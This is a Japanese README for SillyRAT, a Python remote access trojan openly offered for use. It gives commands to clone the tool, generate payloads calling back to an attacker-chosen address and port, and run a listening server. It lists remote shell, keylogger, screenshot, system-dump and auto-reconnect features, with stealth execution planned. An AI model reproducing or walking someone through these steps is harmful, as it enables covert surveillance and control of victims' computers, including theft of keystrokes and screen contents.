SillyRAT

クロスプラットフォームの多機能（Windows/Linux/Mac）RAT。

はじめに

説明

純粋なPythonで書かれたクロスプラットフォームのRATです。RATはコマンドと引数を受け付け、接続を受け付けるサーバーとして動作するか、サーバーに接続を確立するクライアント/ターゲットとして動作します。generateコマンドは、pyinstallerモジュールを使用して実際のペイロードコードをコンパイルします。そのため、各プラットフォーム用のペイロードファイルを生成するには、そのプラットフォーム上でファイルを生成する必要があります。さらに、ソースファイルも直接入手できます。

特徴

• コマンド実行のためのビルトインシェル
• ドライブやRAMを含むシステム情報のダンプ
• スクリーンショットモジュール。クライアント画面のスクリーンショットをキャプチャします。
• 接続ループ（サーバーへの接続を継続）
• 現在、BASE64エンコーディングを使用しています。
• 純粋なPython
• クロスプラットフォーム。（Linuxでテスト済み。エラーは許容されます）
• テスト用のソースファイル付き
• Python 3

今後の予定

• ステルス実行
• 暗号化
• 前回の試行からのセッション保存
• クライアント接続時の通知プッシュ

インストール

このツールは、Python 3.8 を使用して Parrot OS でテストされています。 以下の手順でインストールしてください：

$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

ドキュメント

ペイロードの生成

ペイロードファイルは2つの方法で入手できます：

• ソースファイル
• コンパイルファイル

$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source

コンパイルバージョンは各プラットフォーム上で生成する必要があります。例えば、Linux上で.exeファイルを生成することはできません。特にWindows上である必要があります。このツールはまだテスト段階です。そのため、あらゆる種類のエラーは許容されます。ただし、必ずIssueを開いてください。Linux用のコンパイルバージョンを生成する：

$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

上記のコマンドでIPアドレスとポートを置き換えてください。

サーバーの実行

サーバーはLinux上で実行する必要があります。接続用にVPSやクラウドサーバーを購入できます。注意点として、サーバーは前回の実行からセッションを保存しません。そのため、サーバーアプリケーションが終了するとすべての進行状況が失われます。サーバーを実行する：

$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999

接続

すべての接続はsessionsコマンドで一覧表示されます：

$ sessions

connectコマンドでターゲットセッションに接続し、利用可能なコマンドを実行できます：

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

ヘルプ

利用可能なコマンドの一覧を表示：

$ help

特定のコマンドのヘルプ：

$ help COMMAND

サポート

Twitter：@hash3liZer
Discord：TheFlash2k#0407